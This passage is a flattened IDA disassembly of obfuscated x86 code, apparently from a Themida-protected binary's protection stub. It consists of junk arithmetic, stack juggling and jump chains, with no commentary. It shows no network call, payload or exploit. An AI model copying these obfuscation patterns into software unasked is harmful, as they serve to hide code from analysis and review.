edi, 4 jmp loc_5647F5 ; --------------------------------------------------------------------------- loc_55ED0C: ; CODE XREF: sub_562ABA+C78Fj add edi, 3E425A1Eh pop ecx pop ecx push edi push [esp+22h+var_1E] pop edi pop [esp+22h+var_22] jmp loc_565A3F ; --------------------------------------------------------------------------- loc_55ED22: ; CODE XREF: sub_562ABA+7477j xchg esi, [esp+1Eh+var_1E] pop esp mov word ptr [esp+1Ah+var_1A], ax push 4554h mov [esp+1Eh+var_1E], ecx jmp loc_56F913 ; --------------------------------------------------------------------------- loc_55ED37: ; CODE XREF: sub_562ABA-39C4j mov ah, 0DCh xor ah, 24h inc ah and ah, 0DCh shr ah, 2 add ah, 6 sub bh, ah pop eax not bh neg bh xor bh, 4Ah jmp loc_55FDD6 ; --------------------------------------------------------------------------- loc_55ED56: ; CODE XREF: sub_562ABA+AA76j add edi, eax jmp loc_56BFD1 ; --------------------------------------------------------------------------- loc_55ED5D: ; CODE XREF: sub_562ABA+DEB6j pop ecx push 4E0Bh jmp loc_55F375 ; --------------------------------------------------------------------------- loc_55ED68: ; CODE XREF: sub_562ABA+D3EAj pop ebx jmp loc_562AF8 ; --------------------------------------------------------------------------- loc_55ED6E: ; CODE XREF: sub_562ABA+230Bj add edx, 4 xchg edx, [esp+16h+var_16] jmp loc_5704AF ; --------------------------------------------------------------------------- loc_55ED7C: ; CODE XREF: sub_562ABA+3ACFj neg edi add edi, 5B772004h add edi, 0A422AAE2h add ebp, 46476241h add ebp, edi push eax push edx mov edx, 46476241h mov eax, edx pop edx jmp loc_55F4A9 ; --------------------------------------------------------------------------- loc_55EDA1: ; CODE XREF: sub_562ABA-90Dj jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55EDA6: ; CODE XREF: sub_562ABA+C57Cj neg ebp jmp loc_56D5A2 ; --------------------------------------------------------------------------- loc_55EDAD: ; CODE XREF: sub_562ABA+29E9j shl edx, 4 jmp loc_55EBFB ; --------------------------------------------------------------------------- loc_55EDB5: ; CODE XREF: sub_562ABA-214Ej mov esi, eax pop eax add eax, esi pop esi add edi, eax jmp loc_55F325 ; --------------------------------------------------------------------------- loc_55EDC2: ; CODE XREF: sub_562ABA+D686j sub esp, 4 jmp loc_56D3F4 ; --------------------------------------------------------------------------- loc_55EDCD: ; CODE XREF: sub_562ABA+63E4j mov ebp, [esp+16h+var_16] add esp, 4 xor ebp, 0D5B8DF0Fh push edi mov edi, 43986B19h sub eax, edi pop edi sub eax, ebp push edx jmp loc_563FCB ; --------------------------------------------------------------------------- loc_55EDEA: ; CODE XREF: sub_562ABA+7E80j add edx, 661010F6h add edx, 44FF2C06h add edx, ebp sub edx, 44FF2C06h sub edx, 661010F6h pop ebp xor edx, [esp+12h+var_12] xor [esp+12h+var_12], edx xor edx, [esp+12h+var_12] mov esp, [esp+12h+var_12] push 0D74h mov [esp+16h+var_16], edx push 5F5Eh mov [esp+1Ah+var_1A], ecx push 3D5Fh mov [esp+1Eh+var_1E], edx push 664Bh jmp loc_56A684 ; --------------------------------------------------------------------------- loc_55EE33: ; CODE XREF: sub_562ABA-311Aj sub edi, ebp jmp loc_5656D6 ; --------------------------------------------------------------------------- loc_55EE3A: ; CODE XREF: sub_562ABA+5089j or ecx, ebx pop ebx add ecx, 2080200Dh sub edx, ecx jmp loc_570DAF ; --------------------------------------------------------------------------- loc_55EE4A: ; CODE XREF: sub_562ABA+391Cj add ebx, 4 xchg ebx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] and eax, esi push [esp+1Eh+var_1E] pop esi push edi jmp loc_561A99 ; --------------------------------------------------------------------------- loc_55EE62: ; CODE XREF: sub_562ABA+A366j push 6E48h mov [esp+26h+var_28+2], ebp sub esp, 4 push esp jmp loc_55F034 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FC41 loc_55EE73: ; CODE XREF: sub_55FC41+2AB6j mov esi, 4 jmp loc_56F81C ; END OF FUNCTION CHUNK FOR sub_55FC41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55EE7D: ; CODE XREF: sub_562ABA+D748j mov [esp+0], ebx mov ebx, esp push eax push ebp jmp loc_56509F ; --------------------------------------------------------------------------- loc_55EE89: ; CODE XREF: sub_562ABA-3FEj or edx, ecx jmp loc_56867D ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55EE90 proc near ; CODE XREF: sub_562ABA-3F2Fj push ebp push ebx pop ebp jmp loc_56FFDB sub_55EE90 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55EE98: ; CODE XREF: sub_562ABA+897Dj push 4218h jmp loc_56239C ; --------------------------------------------------------------------------- loc_55EEA2: ; CODE XREF: sub_562ABA+3A84j pop edi sub eax, esi pop esi jmp loc_5702A4 ; --------------------------------------------------------------------------- loc_55EEAB: ; CODE XREF: sub_562ABA-1150j xor ebp, edx pop edx mov edi, ebp pop ebp push edi jmp loc_561654 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55EEB7 proc near ; CODE XREF: sub_562ABA+7238j var_4 = dword ptr -4 push ebp xor [esp+4+var_4], 63956AE3h pop eax jmp loc_56C7CD sub_55EEB7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55EEC5: ; CODE XREF: sub_562ABA+380Fj xchg ebp, [esp+0] jmp loc_560149 ; --------------------------------------------------------------------------- loc_55EECD: ; CODE XREF: sub_562ABA+9210j movzx eax, ax push ebp push esp pop ebp jmp loc_56F7B4 ; --------------------------------------------------------------------------- loc_55EED8: ; CODE XREF: sub_562ABA+6290j add ebx, edi pop edi add ebx, 326F2D16h jmp loc_571743 ; --------------------------------------------------------------------------- loc_55EEE6: ; CODE XREF: sub_562ABA+D65Aj xor eax, 5E0F6F29h sub edi, eax mov eax, [esp+0] add esp, 4 push edx push 22AD1031h pop edx and edx, 5A034E7h xchg edi, edx not edi jmp loc_56EB01 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_572055 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55EF14: ; CODE XREF: sub_562ABA+EF8Aj mov ecx, edi mov edi, [esp+0] add esp, 4 add edi, ecx pop ecx jmp loc_5719CD ; --------------------------------------------------------------------------- loc_55EF27: ; CODE XREF: sub_562ABA+3356j and edi, 2A0C5509h inc edi add edi, 1E8F0B84h add edi, 0B764F47Eh sub ebp, 95C4A2Eh add ebp, edi push ecx mov ecx, 1F623197h sub ecx, 0BDE0FEEh sub ecx, 22BB407Bh xor ecx, 0F994AB00h jmp loc_569E70 ; --------------------------------------------------------------------------- loc_55EF5F: ; CODE XREF: sub_562ABA+7D89j push [esp+2Ah+var_2C+2] jmp loc_56ECD6 ; --------------------------------------------------------------------------- loc_55EF67: ; CODE XREF: sub_562ABA-27C5j mov eax, ebp pop ebp push ecx mov ecx, 0E310660h shr ecx, 6 shr ecx, 6 add ecx, 63E02A74h add edx, ecx pop ecx push 8BCh mov [esp+0], eax jmp loc_563BBA ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 0E1E90000h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55EF9B: ; CODE XREF: sub_562ABA+7D93j add ecx, edi jmp loc_5639FA ; --------------------------------------------------------------------------- loc_55EFA2: ; CODE XREF: sub_562ABA+1075j add edx, 0B0B80748h xor edi, edx pop edx add eax, edi jmp loc_571137 ; --------------------------------------------------------------------------- loc_55EFB2: ; CODE XREF: sub_562ABA+82F4j mov [esp+2Ah+var_2C+2], eax mov eax, 6122264h sub [esp+2Ah+var_28+2], 95F0DE2h sub [esp+2Ah+var_28+2], eax add [esp+2Ah+var_28+2], 95F0DE2h pop eax push ebx sub esp, 4 mov [esp+0], esi mov esi, 0A4861C8h push edx jmp loc_55FD9A ; --------------------------------------------------------------------------- loc_55EFE1: ; CODE XREF: sub_562ABA-4906j add edx, 4 push ecx mov ecx, 4 add edx, ecx jmp loc_56E9B2 ; --------------------------------------------------------------------------- loc_55EFF4: ; CODE XREF: sub_562ABA+8A0Dj and esi, 2A553B8h push 0 sub dword ptr [esp+0], 33BC4A75h sub [esp+0], esi add dword ptr [esp+0], 33BC4A75h pop esi sub esi, 11696A70h mov eax, esi pop esi mov ebx, eax jmp loc_56604D ; --------------------------------------------------------------------------- loc_55F021: ; CODE XREF: sub_562ABA+150Cj push 416Eh jmp loc_56E7E7 ; --------------------------------------------------------------------------- loc_55F02B: ; CODE XREF: sub_562ABA+B8B9j xchg edi, [esp+0Ah+var_C+2] pop esp jmp loc_57242A ; --------------------------------------------------------------------------- loc_55F034: ; CODE XREF: sub_562ABA-3C4Cj pop dword ptr [esp+0] add [esp+2Ah+var_2C+2], 4 pop ebp push eax jmp sub_5611D3 ; --------------------------------------------------------------------------- loc_55F042: ; CODE XREF: sub_562ABA+A236j sub eax, 31F2543Bh add eax, ecx add eax, 31F2543Bh pop ecx push 15FEh jmp loc_5697A1 ; --------------------------------------------------------------------------- loc_55F059: ; CODE XREF: sub_562ABA+D923j mov byte ptr [esp+2Ah+var_28+3], dl jmp loc_56E57C ; --------------------------------------------------------------------------- loc_55F062: ; CODE XREF: sub_562ABA+7EB6j push ecx push 51297055h mov ecx, [esp+32h+var_32] add esp, 4 push 7C97h mov [esp+32h+var_32], edx mov edx, 59173CA9h xor ecx, edx mov edx, [esp+32h+var_32] jmp loc_5723A9 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56A4CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F091: ; CODE XREF: sub_562ABA+3F83j sub edx, edi pop edi mov ecx, [esp+0] jmp loc_56107C ; --------------------------------------------------------------------------- loc_55F09C: ; CODE XREF: sub_562ABA-2EEAj add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp push edi mov edi, 23DA7555h add [esp+2Eh+var_2C+2], edi mov edi, [esp+0] jmp loc_5686BC ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_565194 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F0C9: ; CODE XREF: sub_562ABA+8D5Bj pop esp mov edx, [esp+2Ah+var_2C+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp sub ebx, 5F25452Dh jmp loc_55EB90 ; --------------------------------------------------------------------------- loc_55F0EB: ; CODE XREF: sub_562ABA+3869j shr ebx, 4 jmp loc_56E121 ; --------------------------------------------------------------------------- loc_55F0F3: ; CODE XREF: sub_562ABA+5128j inc bh push eax jmp loc_55ED37 ; --------------------------------------------------------------------------- loc_55F0FB: ; CODE XREF: sub_562ABA+1909j push esi sub esp, 4 jmp loc_56D7FA ; --------------------------------------------------------------------------- loc_55F107: ; CODE XREF: sub_562ABA+390Cj push edi mov edi, 4 add eax, edi pop edi jmp loc_560DA8 ; --------------------------------------------------------------------------- loc_55F115: ; CODE XREF: sub_562ABA+1E12j xor ebp, 13AC2EFAh inc ebp sub ebp, 0B303B8Fh sub esp, 4 mov [esp+3Ah+var_3A], ecx mov ecx, 63AD09B7h xor ecx, 30456816h jmp loc_564484 ; --------------------------------------------------------------------------- loc_55F138: ; CODE XREF: sub_562ABA+38CDj push ecx mov ecx, 11DD1618h jmp loc_56D065 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 47h mov [esp], edi sub esp, 4 mov [esp], ecx jmp loc_564CCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F15C: ; CODE XREF: sub_562ABA-24A4j not ecx xor ecx, 85F6D8Fh add ecx, 797E81F6h sub edi, ecx jmp loc_55FE6C ; --------------------------------------------------------------------------- loc_55F171: ; CODE XREF: sub_562ABA+9EF7j or edx, eax shl edx, 1 sub esp, 4 mov [esp+42h+var_42], eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+46h+var_46] mov esp, [esp+46h+var_46] mov [esp+46h+var_46], edi jmp loc_5724F3 ; --------------------------------------------------------------------------- loc_55F19B: ; CODE XREF: sub_562ABA-3609j add edx, 6B2A4896h add edx, esi sub edx, 6B2A4896h pop esi add eax, edx jmp loc_5622DD ; --------------------------------------------------------------------------- loc_55F1B1: ; CODE XREF: sub_562ABA+E2D3j add esp, 4 add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55F1BC: ; CODE XREF: sub_562ABA+3C9Aj shl cl, 7 sub cl, 7Ch not cl sub cl, 7Ch mov bl, cl jmp loc_561D4C ; --------------------------------------------------------------------------- loc_55F1CE: ; CODE XREF: sub_562ABA+53DDj push esi jmp loc_570581 ; --------------------------------------------------------------------------- loc_55F1D4: ; CODE XREF: sub_562ABA+D0CCj add bl, 14h pop ax sub esp, 4 mov [esp+40h+var_42+2], edx push ebx jmp loc_5638DD ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax push esp pop eax jmp loc_56BFE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F1F5: ; CODE XREF: sub_562ABA+7C2Ej pop edi sub esi, 62050AD9h add esi, 4DEE51F5h add esi, edi sub esi, 4DEE51F5h add esi, 62050AD9h add esi, 64A77035h push [esp+40h+var_42+2] pop edi add esp, 4 push edx mov edx, 4 sub esi, edx pop edx push esi jmp loc_55EA5E ; --------------------------------------------------------------------------- loc_55F22C: ; CODE XREF: sub_562ABA+758Ej or eax, 670E3780h push edx mov edx, 56693356h shl edx, 1 push eax mov eax, 642E6470h jmp loc_5697B3 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsw xor ax, bx sub esp, 2 mov [esp], si push ecx push small 2459h pop cx sub cx, 1 push dx mov dx, 6C6h xor cx, dx jmp loc_561FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F26D: ; CODE XREF: sub_562ABA+F862j sub ebx, 4EDC7813h sub ebx, edx jmp loc_5720FD ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F27A proc near ; CODE XREF: sub_562ABA+19F5j ; FUNCTION CHUNK AT 00562327 SIZE 00000014 BYTES push ebx push 7D69069Eh pop ebx not ebx add ebx, 82135A0h jmp loc_562327 sub_55F27A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F28E: ; CODE XREF: sub_562ABA+56B8j pop edi jmp loc_56C372 ; --------------------------------------------------------------------------- loc_55F294: ; CODE XREF: sub_562ABA+A478j mov eax, [esp+44h+var_46+2] add esp, 4 jmp loc_561A3F ; --------------------------------------------------------------------------- loc_55F2A2: ; CODE XREF: sub_562ABA+214Dj xor ebx, ecx pop ecx jmp loc_5665C9 ; --------------------------------------------------------------------------- loc_55F2AA: ; CODE XREF: sub_562ABA-3353j mov [esp+3Ch+var_3E+2], ebx push edi mov edi, 11BE3A33h jmp loc_56BD9E ; --------------------------------------------------------------------------- loc_55F2B8: ; CODE XREF: sub_562ABA-A3Bj movzx cx, ah push 2CEh mov [esp+44h+var_46+2], esi push esp pop esi push ebp push ebx sub esp, 4 mov [esp+50h+var_52+2], esi mov esi, 18367BA7h mov ebx, esi pop esi xor ebx, 47F20215h add ebx, 0F509C302h mov ebp, ebx pop ebx sub ebp, 6C340D2Dh and ebp, 680A0722h push ecx jmp loc_55E328 ; --------------------------------------------------------------------------- loc_55F2F7: ; CODE XREF: sub_562ABA-17F0j xor ebx, [esp+4Ch+var_4E+2] xor [esp+4Ch+var_4E+2], ebx xor ebx, [esp+4Ch+var_4E+2] pop esp sub [esp+48h+var_4A+2], eax pushf jmp loc_56F25E ; --------------------------------------------------------------------------- loc_55F30A: ; CODE XREF: sub_562ABA+7Dj xchg ebx, [esp+4Ch+var_4E+2] jmp loc_563F8E ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_55F312: ; CODE XREF: Themida_:0055ECDBj mov ecx, [esp] add esp, 4 push eax mov eax, 2 add ebx, eax jmp loc_564A2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F325: ; CODE XREF: sub_562ABA-3CFDj pop eax jmp loc_55FA3A ; --------------------------------------------------------------------------- loc_55F32B: ; CODE XREF: sub_562ABA-D38j add esi, ebp jmp loc_56AC7B ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F332 proc near ; CODE XREF: sub_562ABA+202Ej var_4 = dword ptr -4 arg_4 = dword ptr 8 sub esp, 4 mov [esp+4+var_4], esi mov esi, 6D3A4B89h add [esp+4+arg_4], esi mov esi, [esp+4+var_4] add esp, 4 add [esp+arg_4], 0C034F2Fh add [esp+arg_4], eax sub [esp+arg_4], 0C034F2Fh jmp loc_5692AD sub_55F332 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F360: ; CODE XREF: sub_562ABA+BD8Fj add ebx, ebp pop ebp mov esi, [esp+0Ah+var_C+2] add esp, 4 push ebx mov ecx, [esp+0Ah+var_C+2] jmp loc_5603EB ; --------------------------------------------------------------------------- loc_55F375: ; CODE XREF: sub_562ABA-3D57j mov [esp+1Ah+var_1A], eax push 6BBFh mov [esp+1Eh+var_1E], esp jmp loc_56C7DE ; --------------------------------------------------------------------------- loc_55F385: ; CODE XREF: sub_562ABA+4EDBj neg ecx add ecx, 352E0A1Ah jmp loc_572BA8 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F392 proc near ; CODE XREF: sub_562ABA-4673j push ebx mov bh, 11h mov ah, 2 sub ah, 0C7h add ah, bh jmp loc_56378E sub_55F392 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F3A1: ; CODE XREF: sub_562ABA+A879j mov esp, [esp+1Eh+var_1E] jmp loc_5708F7 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F3A9 proc near ; CODE XREF: sub_562ABA+2959j push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp sub_5721EF sub_55F3A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E4D4 loc_55F3BD: ; CODE XREF: sub_55E4D4+3C3Ej push [esp+4+var_4] pop ebp push eax mov eax, esp add eax, 4 jmp loc_56A311 ; END OF FUNCTION CHUNK FOR sub_55E4D4 ; --------------------------------------------------------------------------- loc_55F3CE: ; DATA XREF: Themida_:0055DFF4o mov ax, [esp] jmp loc_56BF89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F3D7: ; CODE XREF: sub_562ABA+ACA9j dec ah not ah or ah, 0EEh neg ah push bx mov bl, 0D3h xor ah, bl pop bx jmp loc_568B43 ; --------------------------------------------------------------------------- loc_55F3ED: ; CODE XREF: sub_562ABA+3177j add ebp, 4 push eax mov eax, 4 sub ebp, eax mov eax, [esp+22h+var_22] add esp, 4 xchg ebp, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], ebx push esp pop ebx sub esp, 4 mov [esp+22h+var_22], eax push ebp jmp loc_569F7A ; --------------------------------------------------------------------------- loc_55F418: ; CODE XREF: sub_562ABA+E19Ej and ecx, eax pop eax shr ecx, 3 jmp loc_56E9D1 ; --------------------------------------------------------------------------- loc_55F423: ; CODE XREF: sub_562ABA+6993j push edi mov edi, 561C517Fh or edi, 9EE276Eh shl edi, 5 add edi, 311024h add eax, edi pop edi jmp loc_570187 ; --------------------------------------------------------------------------- loc_55F440: ; CODE XREF: sub_562ABA-CB9j add eax, 53AF23C4h shl eax, 4 jmp loc_56BDCC ; --------------------------------------------------------------------------- loc_55F44D: ; CODE XREF: sub_562ABA+A1E7j xor [esp+22h+var_22], 76D264DDh jmp loc_569A73 ; --------------------------------------------------------------------------- loc_55F459: ; CODE XREF: sub_562ABA+FEC3j mov edx, esp push ebp mov ebp, 38F066Eh or ebp, 2CD661F7h or ebp, 690856E6h shr ebp, 2 and ebp, 7ADF7DF5h push ebx mov ebx, 6A31189Fh sub ebx, 0EBE7A8BDh add ebp, ebx jmp loc_56799A ; --------------------------------------------------------------------------- loc_55F489: ; CODE XREF: sub_562ABA+C66Fj add esp, 2 add bl, al push eax mov ah, 42h push small 5549h mov word ptr [esp+2Ch+var_2C], ax not byte ptr [esp+2Ch+var_2C+1] mov ax, word ptr [esp+2Ch+var_2C] jmp loc_56F1A9 ; --------------------------------------------------------------------------- loc_55F4A9: ; CODE XREF: sub_562ABA-3D1Ej sub ebp, eax jmp loc_562CC2 ; --------------------------------------------------------------------------- loc_55F4B0: ; CODE XREF: sub_562ABA+351j pop ebx jmp loc_55F19B ; --------------------------------------------------------------------------- loc_55F4B6: ; CODE XREF: sub_562ABA-754j mov dh, 6Ch and ch, dh jmp loc_571A8B ; --------------------------------------------------------------------------- loc_55F4BF: ; CODE XREF: sub_562ABA+3055j add [esp+16h+var_12], 5B1D70CBh add [esp+16h+var_12], ebx sub esp, 4 mov [esp+1Ah+var_1A], ebp jmp loc_56BF35 ; --------------------------------------------------------------------------- loc_55F4D6: ; CODE XREF: sub_562ABA+2024j push esi jmp loc_56A233 ; --------------------------------------------------------------------------- loc_55F4DC: ; CODE XREF: sub_562ABA+7A4Aj shr edx, 7 push eax jmp loc_572BD4 ; --------------------------------------------------------------------------- loc_55F4E5: ; CODE XREF: sub_562ABA+ECCBj mov bl, 4 sub esp, 4 jmp loc_56FA26 ; --------------------------------------------------------------------------- loc_55F4EF: ; CODE XREF: sub_562ABA+16B9j push 6600h mov [esp+2Ah+var_2C+2], esi push [esp+2Ah+var_28+2] jmp loc_570481 ; --------------------------------------------------------------------------- loc_55F500: ; CODE XREF: sub_562ABA+1DE6j push [esp+2Eh+var_2C+2] pop edi pop dword ptr [esp+0] mov esp, [esp+2Ah+var_2C+2] jmp loc_56C948 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F510 proc near ; CODE XREF: sub_562ABA-3ECBj var_8 = dword ptr -8 var_4 = word ptr -4 sub esp, 2 mov [esp+4+var_4], dx sub esp, 4 mov [esp+8+var_8], ebx push ecx mov cl, 0FBh push eax jmp loc_55FFB8 sub_55F510 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F529: ; CODE XREF: sub_562ABA-259Ej add esi, 4 sub esi, 4 xchg esi, [esp+2Ah+var_2C+2] pop esp mov [esp+26h+var_28+2], ebx mov ebx, 4 jmp loc_57267C ; --------------------------------------------------------------------------- loc_55F543: ; CODE XREF: sub_562ABA-46ECj sub ebx, 57375020h add ebx, 3925D51h sub ebx, 60B67F51h add ebx, 34062FE7h xor ebx, 0B4014811h sub eax, 18845306h sub eax, ebx add eax, 18845306h pop ebx sub eax, 12401CF9h pop edx jmp loc_562635 ; --------------------------------------------------------------------------- loc_55F579: ; CODE XREF: sub_562ABA+A7D4j sub eax, 4 xchg eax, [esp-10h+arg_C] pop esp mov [esp-14h+arg_10], esp add [esp-14h+arg_10], 4 mov ebp, [esp-14h+arg_10] add esp, 4 push eax mov eax, 3A962E8Ah not eax push edi mov edi, 0EFD73CFh jmp loc_56FC44 ; --------------------------------------------------------------------------- loc_55F5A8: ; CODE XREF: sub_562ABA+2C35j push 3209h mov [esp-0Ch+arg_8], eax mov eax, esp jmp loc_565C73 ; --------------------------------------------------------------------------- loc_55F5B7: ; CODE XREF: sub_562ABA+7118j add esp, 2 jmp loc_56781B ; --------------------------------------------------------------------------- loc_55F5BF: ; CODE XREF: sub_562ABA+EFB1j add ecx, eax pop eax sub ecx, 0D9B70947h add eax, ecx pop ecx add edx, 67E338ACh jmp loc_56FCB9 ; --------------------------------------------------------------------------- loc_55F5D6: ; CODE XREF: sub_562ABA+ABCAj mov eax, [esp-18h+arg_14] add esp, 4 push edi mov edi, 19102D5Bh not edi jmp loc_568C33 ; --------------------------------------------------------------------------- loc_55F5E9: ; CODE XREF: sub_562ABA+B662j add esp, 4 jmp loc_57057B ; --------------------------------------------------------------------------- loc_55F5F1: ; CODE XREF: sub_562ABA+4589j push 664836BDh pop eax sub eax, 4FA97DF8h sub eax, 57EC2ABFh push ecx jmp loc_56F2D4 ; --------------------------------------------------------------------------- loc_55F607: ; CODE XREF: sub_562ABA+5D26j pop eax jmp loc_563406 ; --------------------------------------------------------------------------- loc_55F60D: ; CODE XREF: sub_562ABA-490Dj sub ebx, 4CD9689Fh add ebx, 599A27A1h mov esi, ebx jmp loc_56E835 ; --------------------------------------------------------------------------- loc_55F620: ; CODE XREF: sub_562ABA-1C62j not cl sub cl, 0CAh jmp loc_56CAFF ; --------------------------------------------------------------------------- loc_55F62A: ; CODE XREF: sub_562ABA-3FB8j dec eax xor eax, 743E392Dh mov esi, eax pop eax neg esi jmp loc_566897 ; --------------------------------------------------------------------------- loc_55F63A: ; CODE XREF: sub_562ABA-1CEAj push edi push [esp+2Ah+var_28+2] pop edi pop [esp+2Ah+var_2C+2] jmp loc_570AFA ; --------------------------------------------------------------------------- loc_55F648: ; CODE XREF: sub_562ABA+1322j add edi, 281964E7h pop ebx sub esp, 4 jmp loc_5648BE ; --------------------------------------------------------------------------- loc_55F657: ; CODE XREF: sub_562ABA+4A00j pop edi pop [esp+22h+var_22] jmp loc_55F7F2 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F660 proc near ; CODE XREF: sub_562ABA-417Ej push ebp push ecx jmp loc_56E21F sub_55F660 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F667: ; CODE XREF: sub_562ABA-2ED5j push [esp+1Eh+var_1A] pop edi pop [esp+1Eh+var_1E] mov esp, [esp+1Ah+var_1A] jmp loc_56CDBE ; --------------------------------------------------------------------------- loc_55F677: ; CODE XREF: sub_562ABA+75E2j pop eax sub esi, 442FCB44h jmp loc_563CCC ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_55F683: ; DATA XREF: Themida_:0055DFF8o mov cx, [esp] sub esp, 4 jmp loc_56B8F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F692: ; CODE XREF: sub_562ABA-463Dj add esi, 42F83190h or esi, 656237F6h xor esi, 0ED6EBFF3h add ebp, esi pop esi xor ebp, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], ebp xor ebp, [esp+0Ah+var_C+2] pop esp jmp sub_572C02 ; --------------------------------------------------------------------------- loc_55F6B6: ; CODE XREF: sub_562ABA+70D7j or edx, 1C34268Eh push ebp mov ebp, 721C54EFh xor edx, ebp pop ebp jmp loc_56E88F ; --------------------------------------------------------------------------- loc_55F6CA: ; CODE XREF: sub_562ABA+CCBAj add ecx, 4 xor ecx, [esp+6+var_8+2] xor [esp+6+var_8+2], ecx xor ecx, [esp+6+var_8+2] jmp loc_56143C ; --------------------------------------------------------------------------- loc_55F6DB: ; CODE XREF: sub_562ABA-1C4Bj add ecx, 75FA291Ch dec ecx and ecx, 187D413Ch jmp loc_569B69 ; --------------------------------------------------------------------------- loc_55F6ED: ; CODE XREF: sub_562ABA+8E12j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ah+var_C+2] pop esp push 0E73h mov [esp+0Ah+var_C+2], ebp push ecx mov ecx, 3BAE2ED8h mov ebp, 3BAE2EDCh sub ebp, ecx pop ecx add eax, ebp pop ebp push eax jmp loc_5698FE ; --------------------------------------------------------------------------- loc_55F71C: ; CODE XREF: sub_562ABA+661Bj and ebx, 4A0F7EA1h or ebx, 7E552227h shl ebx, 3 sub ebx, 0F2FBF534h jmp loc_56AEEA ; --------------------------------------------------------------------------- loc_55F736: ; CODE XREF: sub_562ABA-5ABj push 615Dh jmp loc_5720CD ; --------------------------------------------------------------------------- loc_55F740: ; CODE XREF: sub_562ABA+61EAj mov [esp+0], esi push 5A46h mov [esp+12h+var_12], eax jmp loc_568EA3 ; --------------------------------------------------------------------------- loc_55F750: ; CODE XREF: sub_562ABA+42BAj mov esp, [esp+12h+var_12] mov [esp+12h+var_12], eax mov eax, esp push ebx push 4 pop ebx add eax, ebx pop ebx push 3682h jmp loc_55F2AA ; --------------------------------------------------------------------------- loc_55F76C: ; CODE XREF: sub_562ABA+69ADj add edx, 4 jmp loc_571F91 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F777 proc near ; CODE XREF: sub_562ABA+D694j push ebp mov ebp, 3CF70E94h sub ebp, 4B3E0D64h jmp loc_563A0C sub_55F777 endp ; =============== S U B R O U T I N E ======================================= sub_55F788 proc near ; CODE XREF: sub_562ABA+865Aj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx mov dx, 323h or dx, 5EE6h dec dx shl dx, 4 xor dx, 5B26h not dx xor dx, 2CA2h xor si, dx pop edx sub si, 1A55h jmp loc_563EBF sub_55F788 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F7BB: ; CODE 